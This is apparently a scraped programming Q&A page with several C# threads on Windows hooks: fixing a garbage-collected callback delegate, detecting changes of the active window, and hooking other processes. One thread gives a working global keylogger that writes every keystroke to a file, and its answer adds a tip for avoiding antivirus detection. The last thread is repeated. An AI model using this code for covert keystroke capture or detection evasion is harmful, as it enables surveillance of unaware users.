CallbackOnCollectedDelegate at Application.Run(new Form1()) - c#

I made a very small application that captures the screen inside games using SlimDX.
(I press left click to capture)
The capture works (atleast when I click on the form itself) but as soon as I click on firefox or any other application, I get this exception :
A callback was made on a garbage collected delegate of type 'CaptureScreen!CaptureScreen.Form1+WinEventDelegate::Invoke'. This may cause application crashes, corruption and data loss. When passing delegates to unmanaged code, they must be kept alive by the managed application until it is guaranteed that they will never be called.
at this line in my program.cs:
Application.Run(new Form1());
My Form1.cs (the designer itself has no controls)
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using Microsoft.DirectX.Direct3D;
namespace CaptureScreen
{
public partial class Form1 : Form
{
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
private const int WH_MOUSE_LL = 14;
private const int WM_LBUTTONDOWN = 513;
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
IntPtr m_hhook;
[DllImport("user32.dll")]
static extern bool UnhookWinEvent(IntPtr hWinEventHook);
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
public Form1()
{
m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, WinEventProc, 0, 0, WINEVENT_OUTOFCONTEXT);
hookProc = new HookProc(LowLevelMouseProc);
hook = SetWindowsHookEx(WH_MOUSE_LL, hookProc, GetModuleHandle(null), 0);
InitializeComponent();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
UnhookWinEvent(m_hhook);
UnhookWindowsHookEx(hook);
}
void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
if (eventType == EVENT_SYSTEM_FOREGROUND)
{
StringBuilder sb = new StringBuilder(500);
GetWindowText(hwnd, sb, sb.Capacity);
}
}
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
public static extern int UnhookWindowsHookEx(IntPtr hhook);
[DllImport("user32.dll")]
static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, uint wParam, IntPtr lParam);
delegate IntPtr HookProc(int nCode, uint wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
public static extern IntPtr GetForegroundWindow();
private HookProc hookProc;
private IntPtr hook;
IntPtr LowLevelMouseProc(int nCode, uint wParam, IntPtr lParam)
{
if (nCode >= 0 && (IntPtr)wParam == (IntPtr)WM_LBUTTONDOWN)
{
CaptureScreen();
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
private void CaptureScreen()
{
StreamReader reader = new StreamReader(Path.GetFullPath("../../Counter.txt"));
string currentpic = reader.ReadLine();
if (string.IsNullOrEmpty(currentpic))
currentpic = "0";
reader.Close();
Bitmap bitmap = Direct3DCapture.CaptureWindow(GetForegroundWindow());
bitmap.Save(Path.GetFullPath("../../ScreenCapture/Test" + currentpic + ".gif"), ImageFormat.Gif);
StreamWriter writer = new StreamWriter(Path.GetFullPath("../../Counter.txt"));
writer.Write((int.Parse(currentpic)) + 1);
writer.Close();
}
public readonly uint DWM_EC_DISABLECOMPOSITION = 0;
public readonly uint DWM_EC_ENABLECOMPOSITION = 1;
[DllImport("dwmapi.dll", EntryPoint = "DwmEnableComposition")]
protected static extern uint Win32DwmEnableComposition(uint uCompositionAction);
}
}
the class that captures the screen can be found here:
http://spazzarama.wordpress.com/2009/02/07/screencapture-with-direct3d/
Any idea on how I can fix this?

Your problem is that you are just passing WinEventProc to SetWinEventHook, which will implicitly create a delegate that is eligible to be GCed once the current method exits (if not sooner!) You are seeing the consequences of that fact.
You will need to create a new member of Form1 of type WinEventDelegate, and use that as the parameter:
private WinEventDelegate winEventProc;
and then make use of it in your call to SetWinEventHook:
this.winEventProc = new WinEventDelegate(WinEventProc);
m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, this.winEventProc, 0, 0, WINEVENT_OUTOFCONTEXT);
That should ensure that your delegate stays alive as long as you need.

I had this problem also and have a similar solution to #dlev already in place but it does not work. I found if you mark the member static, it prevents it from being collected.
private static WinEventDelegate winEventProc;

There is a MSDN link which may help you to solve your problem.
Let The CLR Find Bugs For You With Managed Debugging Assistants

Related

How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key etc

I have written the following C# program to capture the user's keystrokes.
It works perfectly, except that all keys are logged as lower-case without taking the SHIFT key into account (see below).
I have read all of the Win32 API's documentation. Still I much be missing something.
How can I correct this program to log keystrokes properly?
If I enter HelloWorld!!!, the following keys are output in log.txt:
h
e
l
l
o
w
o
r
l
d
1
1
1
I.e., it does not consider SHIFT, which is the purpose of GetKeyboardState()?
The program:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;
namespace CSharpKeyLogger
{
public static class Program
{
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int MAPVK_VK_TO_VSC = 0;
private const int BUFF_SZ = 4;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main()
{
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
uint vkCode = (uint)Marshal.ReadInt32(lParam);
byte[] kb = new byte[256];
GetKeyboardState(kb);
StringBuilder buf = new StringBuilder(BUFF_SZ + 1);
switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
{
case -1:
break;
case 0:
break;
case 1:
case 2:
case 3:
case 4:
logFile.WriteLine(buf.ToString());
break;
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
}
}
You will need to check modifier keys by yourself:
Use GetAsyncKeyState
[DllImport("user32.dll")]
static extern long GetAsyncKeyState(uint nVirtKey);
Then you will need to figure out which modifier key is pressed while you obtain the other keys. In your code you could do it like this:
var t = buf.ToString();
// > 1 for the condition is working there are certain values for keydown/keypressed etc. just example!
var shifted = GetAsyncKeyState((uint)Keys.LShiftKey) > 1
|| GetAsyncKeyState((uint)Keys.RShiftKey) > 1;
if (shifted)
t = t.ToUpper();
Console.Write(t);
If you try to create a keylogger (assuming for good things) don't use
hooks as they can be easily detected by other programs i.e. most
anti-virus software - making a bad impression of your program.

Detect active window changed using C# with a console application

This question is very similar to this one (Detect active window changed using C# without polling), and the code on that accepted answer works fine with a Windows Forms Application, but no way with a Console Application.
¿How can I detect that active window has changed without doing infinite iterations (or any type of polling) with a Console Application?
Thanks in advance.
It can be changed to run as a console application with a few changes. Here is a working code.
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
dele = new WinEventDelegate(WinEventProc);
IntPtr m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);
Application.Run(); //<----
}
static WinEventDelegate dele = null; //STATIC
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
private static string GetActiveWindowTitle() //STATIC
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
return Buff.ToString();
}
return null;
}
public static void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) //STATIC
{
Console.WriteLine(GetActiveWindowTitle());
}
}
}

Global window hook in C#

Currently I'm using the following code to get active window title-
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
It's working great.
Now I would like to capture global active window change event in my C# app. I don't know how it can be done.
Any help?
Here is a complete code snippet taken from here-
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace ActiveWindowChangeEvent
{
public partial class Form1 : Form
{
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime);
WinEventDelegate dele = null;
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
private string GetActiveWindowTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
return Buff.ToString();
}
return null;
}
public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
Log.Text += GetActiveWindowTitle() + "\r\n"; //Log= RichTextBox
}
public Form1()
{
InitializeComponent();
dele = new WinEventDelegate(WinEventProc);
IntPtr m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);
}
}
}
Hope, this will help.

Override The WindowProc Of A Different Process? [duplicate]

Im trying to hook up to other windows from csharp. Im using SetWindowsHookEx, but no luck with converting it fom c++ t c#.
I found this thread here
but it wasnt solved. The problem is that SetWindowsHookEx returns 0.
It includes best code samle i found:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WindowDrawer
{
public partial class Form1 : Form
{
private delegate int HookProc(int code, IntPtr wParam, IntPtr lParam);
static IntPtr hHook;
IntPtr windowHandle;
uint processHandle;
HookProc PaintHookProcedure;
[System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern System.IntPtr FindWindowByCaption(int ZeroOnly, string lpWindowName);
[System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint = "SetWindowsHookEx", SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
// When you don't want the ProcessId, use this overload and pass IntPtr.Zero for the second parameter
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet =System.Runtime.InteropServices.CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
PaintHookProcedure = new HookProc(PaintHookProc);
windowHandle = FindWindowByCaption(0, "Untitled - Notepad");
uint threadID = GetWindowThreadProcessId(windowHandle, out processHandle);
IntPtr hMod = System.Runtime.InteropServices.Marshal.GetHINSTANCE(typeof(Form1).Module);
// HERE IS THE PROBLEM. WHAT THE HECK DO I PASS INTO THE LAST 2 PARAMS? I get a null pointer
hHook = SetWindowsHookEx(WH_GETMESSAGE, PaintHookProcedure, hMod, threadID);
}
public int PaintHookProc(int nCode, IntPtr wParam, IntPtr lParam)
{
// Do some painting here.
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
private const int WM_PAINT = 15;
private const int WH_GETMESSAGE = 3;
}
}
Any help, advices?
The WH_GETMESSAGE hook is a global hook. It requires a DLL that can be injected into another process. The hMod argument. There's a problem, you can't write such a DLL in a managed language. The target process won't have the CLR initialized.
There's a code project that offers such a DLL, maybe you can make it work. Black belt required.
Have you looked at the EasyHook project? It seems to be a pretty active project. Microsoft also have an example on their site.

Window hooks in c#

Im trying to hook up to other windows from csharp. Im using SetWindowsHookEx, but no luck with converting it fom c++ t c#.
I found this thread here
but it wasnt solved. The problem is that SetWindowsHookEx returns 0.
It includes best code samle i found:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WindowDrawer
{
public partial class Form1 : Form
{
private delegate int HookProc(int code, IntPtr wParam, IntPtr lParam);
static IntPtr hHook;
IntPtr windowHandle;
uint processHandle;
HookProc PaintHookProcedure;
[System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern System.IntPtr FindWindowByCaption(int ZeroOnly, string lpWindowName);
[System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint = "SetWindowsHookEx", SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
// When you don't want the ProcessId, use this overload and pass IntPtr.Zero for the second parameter
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet =System.Runtime.InteropServices.CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
PaintHookProcedure = new HookProc(PaintHookProc);
windowHandle = FindWindowByCaption(0, "Untitled - Notepad");
uint threadID = GetWindowThreadProcessId(windowHandle, out processHandle);
IntPtr hMod = System.Runtime.InteropServices.Marshal.GetHINSTANCE(typeof(Form1).Module);
// HERE IS THE PROBLEM. WHAT THE HECK DO I PASS INTO THE LAST 2 PARAMS? I get a null pointer
hHook = SetWindowsHookEx(WH_GETMESSAGE, PaintHookProcedure, hMod, threadID);
}
public int PaintHookProc(int nCode, IntPtr wParam, IntPtr lParam)
{
// Do some painting here.
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
private const int WM_PAINT = 15;
private const int WH_GETMESSAGE = 3;
}
}
Any help, advices?
The WH_GETMESSAGE hook is a global hook. It requires a DLL that can be injected into another process. The hMod argument. There's a problem, you can't write such a DLL in a managed language. The target process won't have the CLR initialized.
There's a code project that offers such a DLL, maybe you can make it work. Black belt required.
Have you looked at the EasyHook project? It seems to be a pretty active project. Microsoft also have an example on their site.

Categories